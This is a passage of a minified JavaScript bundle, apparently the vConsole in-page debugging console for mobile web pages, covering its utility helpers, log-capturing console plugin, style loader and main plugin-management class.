Date,o=t.getDate()<10?"0"+t.getDate():t.getDate(),n=t.getMonth()<9?"0"+(t.getMonth()+1):t.getMonth()+1,r=t.getFullYear(),i=t.getHours()<10?"0"+t.getHours():t.getHours(),a=t.getMinutes()<10?"0"+t.getMinutes():t.getMinutes(),l=t.getSeconds()<10?"0"+t.getSeconds():t.getSeconds(),c=t.getMilliseconds()<10?"0"+t.getMilliseconds():t.getMilliseconds();return c<100&&(c="0"+c),{time:+t,year:r,month:n,day:o,hour:i,minute:a,second:l,millisecond:c}},e.isNumber=o,e.isString=n,e.isArray=r,e.isBoolean=i,e.isUndefined=a,e.isNull=l,e.isSymbol=c,e.isObject=s,e.isFunction=d,e.isElement=function(e){return"object"===("undefined"==typeof HTMLElement?"undefined":t(HTMLElement))?e instanceof HTMLElement:e&&"object"===t(e)&&null!==e&&1===e.nodeType&&"string"==typeof e.nodeName},e.isWindow=u,e.isPlainObject=function(e){var o,n=Object.prototype.hasOwnProperty;if(!e||"object"!==t(e)||e.nodeType||u(e))return!1;try{if(e.constructor&&!n.call(e,"constructor")&&!n.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(e){return!1}for(o in e);return void 0===o||n.call(e,o)},e.htmlEncode=function(e){return document.createElement("a").appendChild(document.createTextNode(e)).parentNode.innerHTML},e.JSONStringify=function(e){if(!s(e)&&!r(e))return JSON.stringify(e);var t="{",o="}";r(e)&&(t="[",o="]");for(var n=t,i=v(e),a=0;a<i.length;a++){var l=i[a],u=e[l];try{r(e)||(s(l)||r(l)||c(l)?n+=Object.prototype.toString.call(l):n+=l,n+=": "),r(u)?n+="Array["+u.length+"]":s(u)||c(u)||d(u)?n+=Object.prototype.toString.call(u):n+=JSON.stringify(u),a<i.length-1&&(n+=", ")}catch(e){continue}}return n+=o},e.getObjAllKeys=v,e.getObjName=function(e){return Object.prototype.toString.call(e).replace("[object ","").replace("]","")},e.setStorage=function(e,t){window.localStorage&&(e="vConsole_"+e,localStorage.setItem(e,t))},e.getStorage=function(e){if(window.localStorage)return e="vConsole_"+e,localStorage.getItem(e)}})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n,r,i;r=[t,o(0),o(10)],void 0===(i="function"==typeof(n=function(o,n,r){"use strict";var i;Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,r=(i=r)&&i.__esModule?i:{default:i};var a={one:function(e,t){try{return(t||document).querySelector(e)||void 0}catch(e){return}},all:function(e,t){try{var o=(t||document).querySelectorAll(e);return Array.from(o)}catch(e){return[]}},addClass:function(e,t){if(e){(0,n.isArray)(e)||(e=[e]);for(var o=0;o<e.length;o++){var r=(e[o].className||"").split(" ");r.indexOf(t)>-1||(r.push(t),e[o].className=r.join(" "))}}},removeClass:function(e,t){if(e){(0,n.isArray)(e)||(e=[e]);for(var o=0;o<e.length;o++){for(var r=e[o].className.split(" "),i=0;i<r.length;i++)r[i]==t&&(r[i]="");e[o].className=r.join(" ").trim()}}},hasClass:function(e,t){return!(!e||!e.classList)&&e.classList.contains(t)},bind:function(e,t,o,r){e&&((0,n.isArray)(e)||(e=[e]),e.forEach(function(e){e.addEventListener(t,o,!!r)}))},delegate:function(e,t,o,n){e&&e.addEventListener(t,function(t){var r=a.all(o,e);if(r)e:for(var i=0;i<r.length;i++)for(var l=t.target;l;){if(l==r[i]){n.call(l,t);break e}if((l=l.parentNode)==e)break}},!1)}};a.render=r.default;var l=a;o.default=l,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n,r,i;r=[t],void 0===(i="function"==typeof(n=function(o){"use strict";function n(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0;var r=function(){function e(t){var o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"newPlugin";!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.id=t,this.name=o,this.isReady=!1,this.eventList={}}var t,o,r;return t=e,(o=[{key:"on",value:function(e,t){return this.eventList[e]=t,this}},{key:"trigger",value:function(e,t){if("function"==typeof this.eventList[e])this.eventList[e].call(this,t);else{var o="on"+e.charAt(0).toUpperCase()+e.slice(1);"function"==typeof this[o]&&this[o].call(this,t)}return this}},{key:"id",get:function(){return this._id},set:function(e){if(!e)throw"Plugin ID cannot be empty";this._id=e.toLowerCase()}},{key:"name",get:function(){return this._name},set:function(e){if(!e)throw"Plugin name cannot be empty";this._name=e}},{key:"vConsole",get:function(){return this._vConsole||void 0},set:function(e){if(!e)throw"vConsole cannot be empty";this._vConsole=e}}])&&n(t.prototype,o),r&&n(t,r),e}();o.default=r,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n,r,i;r=[t,o(0),o(1),o(2),o(18),o(19),o(20)],void 0===(i="function"==typeof(n=function(o,n,r,i,a,l,c){"use strict";function s(e){return e&&e.__esModule?e:{default:e}}function d(e){return(d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function u(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function v(e,t){return!t||"object"!==d(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function f(e){return(f=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function p(e,t){return(p=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,n=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}(n),r=s(r),i=s(i),a=s(a),l=s(l),c=s(c);var b=1e3,g=[],h={},m=function(e){function t(){var e,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var n=arguments.length,r=new Array(n),i=0;i<n;i++)r[i]=arguments[i];return o=v(this,(e=f(t)).call.apply(e,[this].concat(r))),g.push(o.id),o.tplTabbox="",o.allowUnformattedLog=!0,o.isReady=!1,o.isShow=!1,o.$tabbox=null,o.console={},o.logList=[],o.isInBottom=!0,o.maxLogNumber=b,o.logNumber=0,o.mockConsole(),o}var o,s,m;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&p(e,t)}(t,i.default),o=t,(s=[{key:"onInit",value:function(){this.$tabbox=r.default.render(this.tplTabbox,{}),this.updateMaxLogNumber()}},{key:"onRenderTab",value:function(e){e(this.$tabbox)}},{key:"onAddTopBar",value:function(e){for(var t=this,o=["All","Log","Info","Warn","Error"],n=[],i=0;i<o.length;i++)n.push({name:o[i],data:{type:o[i].toLowerCase()},className:"",onClick:function(){if(r.default.hasClass(this,"vc-actived"))return!1;t.showLogType(this.dataset.type||"all")}});n[0].className="vc-actived",e(n)}},{key:"onAddTool",value:function(e){var t=this;e([{name:"Clear",global:!1,onClick:function(){t.clearLog(),t.vConsole.triggerEvent("clearLog")}}])}},{key:"onReady",value:function(){var e=this;e.isReady=!0;var t=r.default.all(".vc-subtab",e.$tabbox);r.default.bind(t,"click",function(o){if(o.preventDefault(),r.default.hasClass(this,"vc-actived"))return!1;r.default.removeClass(t,"vc-actived"),r.default.addClass(this,"vc-actived");var n=this.dataset.type,i=r.default.one(".vc-log",e.$tabbox);r.default.removeClass(i,"vc-log-partly-log"),r.default.removeClass(i,"vc-log-partly-info"),r.default.removeClass(i,"vc-log-partly-warn"),r.default.removeClass(i,"vc-log-partly-error"),"all"==n?r.default.removeClass(i,"vc-log-partly"):(r.default.addClass(i,"vc-log-partly"),r.default.addClass(i,"vc-log-partly-"+n))});var o=r.default.one(".vc-content");r.default.bind(o,"scroll",function(t){e.isShow&&(o.scrollTop+o.offsetHeight>=o.scrollHeight?e.isInBottom=!0:e.isInBottom=!1)});for(var n=0;n<e.logList.length;n++)e.printLog(e.logList[n]);e.logList=[]}},{key:"onRemove",value:function(){window.console.log=this.console.log,window.console.info=this.console.info,window.console.warn=this.console.warn,window.console.debug=this.console.debug,window.console.error=this.console.error,window.console.time=this.console.time,window.console.timeEnd=this.console.timeEnd,window.console.clear=this.console.clear,this.console={};var e=g.indexOf(this.id);e>-1&&g.splice(e,1)}},{key:"onShow",value:function(){this.isShow=!0,1==this.isInBottom&&this.autoScrollToBottom()}},{key:"onHide",value:function(){this.isShow=!1}},{key:"onShowConsole",value:function(){1==this.isInBottom&&this.autoScrollToBottom()}},{key:"onUpdateOption",value:function(){this.vConsole.option.maxLogNumber!=this.maxLogNumber&&(this.updateMaxLogNumber(),this.limitMaxLogs())}},{key:"updateMaxLogNumber",value:function(){this.maxLogNumber=this.vConsole.option.maxLogNumber||b,this.maxLogNumber=Math.max(1,this.maxLogNumber)}},{key:"limitMaxLogs",value:function(){if(this.isReady)for(;this.logNumber>this.maxLogNumber;){var e=r.default.one(".vc-item",this.$tabbox);if(!e)break;e.parentNode.removeChild(e),this.logNumber--}}},{key:"showLogType",value:function(e){var t=r.default.one(".vc-log",this.$tabbox);r.default.removeClass(t,"vc-log-partly-log"),r.default.removeClass(t,"vc-log-partly-info"),r.default.removeClass(t,"vc-log-partly-warn"),r.default.removeClass(t,"vc-log-partly-error"),"all"==e?r.default.removeClass(t,"vc-log-partly"):(r.default.addClass(t,"vc-log-partly"),r.default.addClass(t,"vc-log-partly-"+e))}},{key:"autoScrollToBottom",value:function(){this.vConsole.option.disableLogScrolling||this.scrollToBottom()}},{key:"scrollToBottom",value:function(){var e=r.default.one(".vc-content");e&&(e.scrollTop=e.scrollHeight-e.offsetHeight)}},{key:"mockConsole",value:function(){var e=this,t=this,o=["log","info","warn","debug","error"];window.console?(o.map(function(e){t.console[e]=window.console[e]}),t.console.time=window.console.time,t.console.timeEnd=window.console.timeEnd,t.console.clear=window.console.clear):window.console={},o.map(function(t){window.console[t]=function(){for(var o=arguments.length,n=new Array(o),r=0;r<o;r++)n[r]=arguments[r];e.printLog({logType:t,logs:n})}});var n={};window.console.time=function(e){n[e]=Date.now()},window.console.timeEnd=function(e){var t=n[e];t?(console.log(e+":",Date.now()-t+"ms"),delete n[e]):console.log(e+": 0ms")},window.console.clear=function(){t.clearLog();for(var e=arguments.length,o=new Array(e),n=0;n<e;n++)o[n]=arguments[n];t.console.clear.apply(window.console,o)}}},{key:"clearLog",value:function(){r.default.one(".vc-log",this.$tabbox).innerHTML="",this.logNumber=0,h={}}},{key:"printOriginLog",value:function(e){"function"==typeof this.console[e.logType]&&this.console[e.logType].apply(window.console,e.logs)}},{key:"printLog",value:function(e){var t=e.logs||[];if(t.length||e.content){t=[].slice.call(t||[]);var o=/^\[(\w+)\]$/i,r="",i=!1;if(n.isString(t[0])){var a=t[0].match(o);null!==a&&a.length>0&&(r=a[1].toLowerCase(),i=g.indexOf(r)>-1)}if(r===this.id||!0!==i&&"default"===this.id)if(e._id||(e._id="__vc_"+Math.random().toString(36).substring(2,8)),e.date||(e.date=+new Date),this.isReady){n.isString(t[0])&&i&&(t[0]=t[0].replace(o,""),""===t[0]&&t.shift());for(var l={_id:e._id,logType:e.logType,logText:[],hasContent:!!e.content,count:1},c=0;c<t.length;c++)n.isFunction(t[c])?l.logText.push(t[c].toString()):n.isObject(t[c])||n.isArray(t[c])?l.logText.push(n.JSONStringify(t[c])):l.logText.push(t[c]);l.logText=l.logText.join(" "),l.hasContent||h.logType!==l.logType||h.logText!==l.logText?(this.printNewLog(e,t),h=l):this.printRepeatLog(),this.isInBottom&&this.isShow&&this.autoScrollToBottom(),e.noOrigin||this.printOriginLog(e)}else this.logList.push(e);else e.noOrigin||this.printOriginLog(e)}}},{key:"printRepeatLog",value:function(){var e=r.default.one("#"+h._id),t=r.default.one(".vc-item-repeat",e);t||((t=document.createElement("i")).className="vc-item-repeat",e.insertBefore(t,e.lastChild)),h.count,h.count++,t.innerHTML=h.count}},{key:"printNewLog",value:function(e,t){var o=r.default.render(a.default,{_id:e._id,logType:e.logType,style:e.style||""}),i=/(\%c )|( \%c)/g,l=[];if(n.isString(t[0])&&i.test(t[0])){for(var c=t[0].split(i).filter(function(e){return void 0!==e&&""!==e&&!/ ?\%c ?/.test(e)}),s=t[0].match(i),u=0;u<s.length;u++)n.isString(t[u+1])&&l.push(t[u+1]);for(var v=s.length+1;v<t.length;v++)c.push(t[v]);t=c}for(var f=r.default.one(".vc-item-content",o),p=0;p<t.length;p++){var b=void 0;try{if(""===t[p])continue;b=n.isFunction(t[p])?"<span> "+t[p].toString()+"</span>":n.isObject(t[p])||n.isArray(t[p])?this.getFoldedLine(t[p]):(l[p]?'<span style="'.concat(l[p],'"> '):"<span> ")+n.htmlEncode(t[p]).replace(/\n/g,"<br/>")+"</span>"}catch(e){b="<span> ["+d(t[p])+"]</span>"}b&&("string"==typeof b?f.insertAdjacentHTML("beforeend",b):f.insertAdjacentElement("beforeend",b))}n.isObject(e.content)&&f.insertAdjacentElement("beforeend",e.content),r.default.one(".vc-log",this.$tabbox).insertAdjacentElement("beforeend",o),this.logNumber++,this.limitMaxLogs()}},{key:"getFoldedLine",value:function(e,t){var o=this;if(!t){var i=n.JSONStringify(e),a=i.substr(0,36);t=n.getObjName(e),i.length>36&&(a+="..."),t+=" "+a}var s=r.default.render(l.default,{outer:t,lineType:"obj"});return r.default.bind(r.default.one(".vc-fold-outer",s),"click",function(t){t.preventDefault(),t.stopPropagation(),r.default.hasClass(s,"vc-toggle")?(r.default.removeClass(s,"vc-toggle"),r.default.removeClass(r.default.one(".vc-fold-inner",s),"vc-toggle"),r.default.removeClass(r.default.one(".vc-fold-outer",s),"vc-toggle")):(r.default.addClass(s,"vc-toggle"),r.default.addClass(r.default.one(".vc-fold-inner",s),"vc-toggle"),r.default.addClass(r.default.one(".vc-fold-outer",s),"vc-toggle"));var i=r.default.one(".vc-fold-inner",s);return setTimeout(function(){if(0==i.children.length&&e){for(var t=n.getObjAllKeys(e),a=0;a<t.length;a++){var s=void 0,d="undefined",u="";try{s=e[t[a]]}catch(e){continue}n.isString(s)?(d="string",s='"'+s+'"'):n.isNumber(s)?d="number":n.isBoolean(s)?d="boolean":n.isNull(s)?(d="null",s="null"):n.isUndefined(s)?(d="undefined",s="undefined"):n.isFunction(s)?(d="function",s="function()"):n.isSymbol(s)&&(d="symbol");var v=void 0;if(n.isArray(s)){var f=n.getObjName(s)+"["+s.length+"]";v=o.getFoldedLine(s,r.default.render(c.default,{key:t[a],keyType:u,value:f,valueType:"array"},!0))}else if(n.isObject(s)){var p=n.getObjName(s);v=o.getFoldedLine(s,r.default.render(c.default,{key:n.htmlEncode(t[a]),keyType:u,value:p,valueType:"object"},!0))}else{e.hasOwnProperty&&!e.hasOwnProperty(t[a])&&(u="private");var b={lineType:"kv",key:n.htmlEncode(t[a]),keyType:u,value:n.htmlEncode(s),valueType:d};v=r.default.render(l.default,b)}i.insertAdjacentElement("beforeend",v)}if(n.isObject(e)){var g,h=e.__proto__;g=n.isObject(h)?o.getFoldedLine(h,r.default.render(c.default,{key:"__proto__",keyType:"private",value:n.getObjName(h),valueType:"object"},!0)):r.default.render(c.default,{key:"__proto__",keyType:"private",value:"null",valueType:"null"}),i.insertAdjacentElement("beforeend",g)}}}),!1}),s}}])&&u(o.prototype,s),m&&u(o,m),t}();m.AddedLogID=[];var y=m;o.default=y,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){"use strict";e.exports=function(e){var t=[];return t.toString=function(){return this.map(function(t){var o=function(e,t){var o=e[1]||"",n=e[3];if(!n)return o;if(t&&"function"==typeof btoa){var r=(a=n,l=btoa(unescape(encodeURIComponent(JSON.stringify(a)))),c="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(l),"/*# ".concat(c," */")),i=n.sources.map(function(e){return"/*# sourceURL=".concat(n.sourceRoot).concat(e," */")});return[o].concat(i).concat([r]).join("\n")}var a,l,c;return[o].join("\n")}(t,e);return t[2]?"@media ".concat(t[2],"{").concat(o,"}"):o}).join("")},t.i=function(e,o){"string"==typeof e&&(e=[[null,e,""]]);for(var n={},r=0;r<this.length;r++){var i=this[r][0];null!=i&&(n[i]=!0)}for(var a=0;a<e.length;a++){var l=e[a];null!=l[0]&&n[l[0]]||(o&&!l[2]?l[2]=o:o&&(l[2]="(".concat(l[2],") and (").concat(o,")")),t.push(l))}},t}},function(e,t,o){"use strict";var n,r={},i=function(){return void 0===n&&(n=Boolean(window&&document&&document.all&&!window.atob)),n},a=function(){var e={};return function(t){if(void 0===e[t]){var o=document.querySelector(t);if(window.HTMLIFrameElement&&o instanceof window.HTMLIFrameElement)try{o=o.contentDocument.head}catch(e){o=null}e[t]=o}return e[t]}}();function l(e,t){for(var o=[],n={},r=0;r<e.length;r++){var i=e[r],a=t.base?i[0]+t.base:i[0],l={css:i[1],media:i[2],sourceMap:i[3]};n[a]?n[a].parts.push(l):o.push(n[a]={id:a,parts:[l]})}return o}function c(e,t){for(var o=0;o<e.length;o++){var n=e[o],i=r[n.id],a=0;if(i){for(i.refs++;a<i.parts.length;a++)i.parts[a](n.parts[a]);for(;a<n.parts.length;a++)i.parts.push(b(n.parts[a],t))}else{for(var l=[];a<n.parts.length;a++)l.push(b(n.parts[a],t));r[n.id]={id:n.id,refs:1,parts:l}}}}function s(e){var t=document.createElement("style");if(void 0===e.attributes.nonce){var n=o.nc;n&&(e.attributes.nonce=n)}if(Object.keys(e.attributes).forEach(function(o){t.setAttribute(o,e.attributes[o])}),"function"==typeof e.insert)e.insert(t);else{var r=a(e.insert||"head");if(!r)throw new Error("Couldn't find a style target. This probably means that the value for the 'insert' parameter is invalid.");r.appendChild(t)}return t}var d,u=(d=[],function(e,t){return d[e]=t,d.filter(Boolean).join("\n")});function v(e,t,o,n){var r=o?"":n.css;if(e.styleSheet)e.styleSheet.cssText=u(t,r);else{var i=document.createTextNode(r),a=e.childNodes;a[t]&&e.removeChild(a[t]),a.length?e.insertBefore(i,a[t]):e.appendChild(i)}}var f=null,p=0;function b(e,t){var o,n,r;if(t.singleton){var i=p++;o=f||(f=s(t)),n=v.bind(null,o,i,!1),r=v.bind(null,o,i,!0)}else o=s(t),n=function(e,t,o){var n=o.css,r=o.media,i=o.sourceMap;if(r&&e.setAttribute("media",r),i&&btoa&&(n+="\n/*# sourceMappingURL=data:application/json;base64,".concat(btoa(unescape(encodeURIComponent(JSON.stringify(i))))," */")),e.styleSheet)e.styleSheet.cssText=n;else{for(;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(document.createTextNode(n))}}.bind(null,o,t),r=function(){!function(e){if(null===e.parentNode)return!1;e.parentNode.removeChild(e)}(o)};return n(e),function(t){if(t){if(t.css===e.css&&t.media===e.media&&t.sourceMap===e.sourceMap)return;n(e=t)}else r()}}e.exports=function(e,t){(t=t||{}).attributes="object"==typeof t.attributes?t.attributes:{},t.singleton||"boolean"==typeof t.singleton||(t.singleton=i());var o=l(e,t);return c(o,t),function(e){for(var n=[],i=0;i<o.length;i++){var a=o[i],s=r[a.id];s&&(s.refs--,n.push(s))}e&&c(l(e,t),t);for(var d=0;d<n.length;d++){var u=n[d];if(0===u.refs){for(var v=0;v<u.parts.length;v++)u.parts[v]();delete r[u.id]}}}}},function(e,t,o){var n,r,i;r=[t,o(7),o(8)],void 0===(i="function"==typeof(n=function(o,n,r){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0;var i,a=(i=r,r=i&&i.__esModule?i:{default:i}).default;o.default=a,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n,r,i;r=[],void 0===(i="function"==typeof(n=function(){"use strict";if("undefined"==typeof Symbol){window.Symbol=function(){};var e="__symbol_iterator_key";window.Symbol.iterator=e,Array.prototype[e]=function(){var e=this,t=0;return{next:function(){return{done:e.length===t,value:e.length===t?void 0:e[t++]}}}}}})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n,r,i;r=[t,o(9),o(0),o(1),o(11),o(13),o(14),o(15),o(16),o(17),o(2),o(3),o(21),o(24),o(26),o(30),o(37)],void 0===(i="function"==typeof(n=function(o,n,r,i,a,l,c,s,d,u,v,f,p,b,g,h,m){"use strict";function y(e){return e&&e.__esModule?e:{default:e}}function _(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,n=y(n),r=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}(r),i=y(i),l=y(l),c=y(c),s=y(s),d=y(d),u=y(u),v=y(v),f=y(f),p=y(p),b=y(b),g=y(g),h=y(h),m=y(m);var w="#__vconsole",x=function(){function e(t){if(function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),i.default.one(w))console.debug("vConsole is already exists.");else{var o=this;if(this.version=n.default.version,this.$dom=null,this.isInited=!1,this.option={defaultPlugins:["system","network","element","storage"]},this.activedTab="",this.tabList=[],this.pluginList={},this.switchPos={x:10,y:10,startX:0,startY:0,endX:0,endY:0},this.tool=r,this.$=i.default,r.isObject(t))for(var a in t)this.option[a]=t[a];this._addBuiltInPlugins();var l,c=function(){o.isInited||(o._render(),o._mockTap(),o._bindEvent(),o._autoRun())};if(void 0!==document)"loading"===document.readyState?i.default.bind(window,"DOMContentLoaded",c):c();else l=setTimeout(function e(){document&&"complete"==document.readyState?(l&&clearTimeout(l),c()):l=setTimeout(e,1)},1)}}var t,o,a;return t=e,(o=[{key:"_addBuiltInPlugins",value:function(){this.addPlugin(new p.default("default","Log"));var e=this.option.defaultPlugins,t={system:{proto:b.default,name:"System"},network:{proto:g.default,name:"Network"},element:{proto:h.default,name:"Element"},storage:{proto:m.default,name:"Storage"}};if(e&&r.isArray(e))for(var o=0;o<e.length;o++){var n=t[e[o]];n?this.addPlugin(new n.proto(e[o],n.name)):console.debug("Unrecognized default plugin ID:",e[o])}}},{key:"_render",value:function(){if(!i.default.one(w)){var e=document.createElement("div");e.innerHTML=l.default,document.documentElement.insertAdjacentElement("beforeend",e.children[0])}this.$dom=i.default.one(w);var t=i.default.one(".vc-switch",this.$dom),o=1*r.getStorage("switch_x"),n=1*r.getStorage("switch_y");(o||n)&&(o+t.offsetWidth>document.documentElement.offsetWidth&&(o=document.documentElement.offsetWidth-t.offsetWidth),n+t.offsetHeight>document.documentElement.offsetHeight&&(n=document.documentElement.offsetHeight-t.offsetHeight),o<0&&(o=0),n<0&&(n=0),this.switchPos.x=o,this.switchPos.y=n,i.default.one(".vc-switch").style.right=o+"px",i.default.one(".vc-switch").style.bottom=n+"px");var a=window.devicePixelRatio||1,c=document.querySelector('[name="viewport"]');if(c&&c.content){var s=c.content.match(/initial\-scale\=\d+(\.\d+)?/);(s?parseFloat(s[0].split("=")[1]):1)<1&&(this.$dom.style.fontSize=13*a+"px")}i.default.one(".vc-mask",this.$dom).style.display="none"}},{key:"_mockTap",value:function(){var e,t,o,n=!1,r=null;this.$dom.addEventListener("touchstart",function(n){if(void 0===e){var i=n.targetTouches[0];t=i.pageX,o=i.pageY,e=n.timeStamp,r=n.target.nodeType===Node.TEXT_NODE?n.target.parentNode:n.target}},!1),this.$dom.addEventListener("touchmove",function(e){var r=e.changedTouches[0];(Math.abs(r.pageX-t)>10||Math.abs(r.pageY-o)>10)&&(n=!0)}),this.$dom.addEventListener("touchend",function(t){if(!1===n&&t.timeStamp-e<700&&null!=r){var o=!1;switch(r.tagName.toLowerCase()){case"textarea":o=!0;break;case"input":switch(r.type){case"button":case"checkbox":case"file":case"image":case"radio":case"submit":o=!1;break;default:o=!r.disabled&&!r.readOnly}}o?r.focus():t.preventDefault();var i=t.changedTouches[0],a=document.createEvent("MouseEvents");a.initMouseEvent("click",!0,!0,window,1,i.screenX,i.screenY,i.clientX,i.clientY,!1,!1,!1,!1,0,null),a.forwardedTouchEvent=!0,a.initEvent("click",!0,!0),r.dispatchEvent(a)}e=void 0,n=!1,r=null},!1)}},{key:"_bindEvent",value:function(){var e=this,t=i.default.one(".vc-switch",e.$dom);i.default.bind(t,"touchstart",function(t){e.switchPos.startX=t.touches[0].pageX,e.switchPos.startY=t.touches[0].pageY}),i.default.bind(t,"touchend",function(t){e.switchPos.x=e.switchPos.endX,e.switchPos.y=e.switchPos.endY,e.switchPos.startX=0,e.switchPos.startY=0,r.setStorage("switch_x",e.switchPos.x),r.setStorage("switch_y",e.switchPos.y)}),i.default.bind(t,"touchmove",function(o){if(o.touches.length>0){var n=o.touches[0].pageX-e.switchPos.startX,r=o.touches[0].pageY-e.switchPos.startY,i=e.switchPos.x-n,a=e.switchPos.y-r;i+t.offsetWidth>document.documentElement.offsetWidth&&(i=document.documentElement.offsetWidth-t.offsetWidth),a+t.offsetHeight>document.documentElement.offsetHeight&&(a=document.documentElement.offsetHeight-t.offsetHeight),i<0&&(i=0),a<0&&(a=0),t.style.right=i+"px",t.style.bottom=a+"px",e.switchPos.endX=i,e.switchPos.endY=a,o.preventDefault()}}),i.default.bind(i.default.one(".vc-switch",e.$dom),"click",function(){e.show()}),i.default.bind(i.default.one(".vc-hide",e.$dom),"click",function(){e.hide()}),i.default.bind(i.default.one(".vc-mask",e.$dom),"click",function(t){if(t.target!=i.default.one(".vc-mask"))return!1;e.hide()}),i.default.delegate(i.default.one(".vc-tabbar",e.$dom),"click",".vc-tab",function(t){var o=this.dataset.tab;o!=e.activedTab&&e.showTab(o)}),i.default.bind(i.default.one(".vc-panel",e.$dom),"transitionend webkitTransitionEnd oTransitionEnd otransitionend",function(t){if(t.target!=i.default.one(".vc-panel"))return!1;i.default.hasClass(e.$dom,"vc-toggle")||(t.target.style.display="none")});var o=i.default.one(".vc-content",e.$dom),n=!1;i.default.bind(o,"touchstart",function(e){var t=o.scrollTop,r=o.scrollHeight,a=t+o.offsetHeight;0===t?(o.scrollTop=1,0===o.scrollTop&&(i.default.hasClass(e.target,"vc-cmd-input")||(n=!0))):a===r&&(o.scrollTop=t-1,o.scrollTop===t&&(i.default.hasClass(e.target,"vc-cmd-input")||(n=!0)))}),i.default.bind(o,"touchmove",function(e){n&&e.preventDefault()}),i.default.bind(o,"touchend",function(e){n=!1})}},{key:"_autoRun",value:function(){for(var e in this.isInited=!0,this.pluginList)this._initPlugin(this.pluginList[e]);this.tabList.length>0&&this.showTab(this.tabList[0]),this.triggerEvent("ready")}},{key:"triggerEvent",value:function(e,t){e="on"+e.charAt(0).toUpperCase()+e.slice(1),r.isFunction(this.option[e])&&this.option[e].apply(this,t)}},{key:"_initPlugin",value:function(e){var t=this;e.vConsole=this,e.trigger("init"),e.trigger("renderTab",function(o){t.tabList.push(e.id);var n=i.default.render(c.default,{id:e.id,name:e.name});i.default.one(".vc-tabbar",t.$dom).insertAdjacentElement("beforeend",n);var a=i.default.render(s.default,{id:e.id});o&&(r.isString(o)?a.innerHTML+=o:r.isFunction(o.appendTo)?o.appendTo(a):r.isElement(o)&&a.insertAdjacentElement("beforeend",o)),i.default.one(".vc-content",t.$dom).insertAdjacentElement("beforeend",a)}),e.trigger("addTopBar",function(o){if(o)for(var n=i.default.one(".vc-topbar",t.$dom),a=function(t){var a=o[t],l=i.default.render(d.default,{name:a.name||"Undefined",className:a.className||"",pluginID:e.id});if(a.data)for(var c in a.data)l.dataset[c]=a.data[c];r.isFunction(a.onClick)&&i.default.bind(l,"click",function(t){!1===a.onClick.call(l)||(i.default.removeClass(i.default.all(".vc-topbar-"+e.id),"vc-actived"),i.default.addClass(l,"vc-actived"))}),n.insertAdjacentElement("beforeend",l)},l=0;l<o.length;l++)a(l)}),e.trigger("addTool",function(o){if(o)for(var n=i.default.one(".vc-tool-last",t.$dom),a=function(t){var a=o[t],l=i.default.render(u.default,{name:a.name||"Undefined",pluginID:e.id});1==a.global&&i.default.addClass(l,"vc-global-tool"),r.isFunction(a.onClick)&&i.default.bind(l,"click",function(e){a.onClick.call(l)}),n.parentNode.insertBefore(l,n)},l=0;l<o.length;l++)a(l)}),e.isReady=!0,e.trigger("ready")}},{key:"_triggerPluginsEvent",value:function(e){for(var t in this.pluginList)this.pluginList[t].isReady&&this.pluginList[t].trigger(e)}},{key:"_triggerPluginEvent",value:function(e,t){var o=this.pluginList[e];o&&o.isReady&&o.trigger(t)}},{key:"addPlugin",value:function(e){return void 0!==this.pluginList[e.id]?(console.debug("Plugin "+e.id+" has already been added."),!1):(this.pluginList[e.id]=e,this.isInited&&(this._initPlugin(e),1==this.tabList.length&&this.showTab(this.tabList[0])),!0)}},{key:"removePlugin",value:function(e){e=(e+"").toLowerCase();var t=this.pluginList[e];if(void 0===t)return console.debug("Plugin "+e+" does not exist."),!1;if(t.trigger("remove"),this.isInited){var o=i.default.one("#__vc_tab_"+e);o&&o.parentNode.removeChild(o);for(var 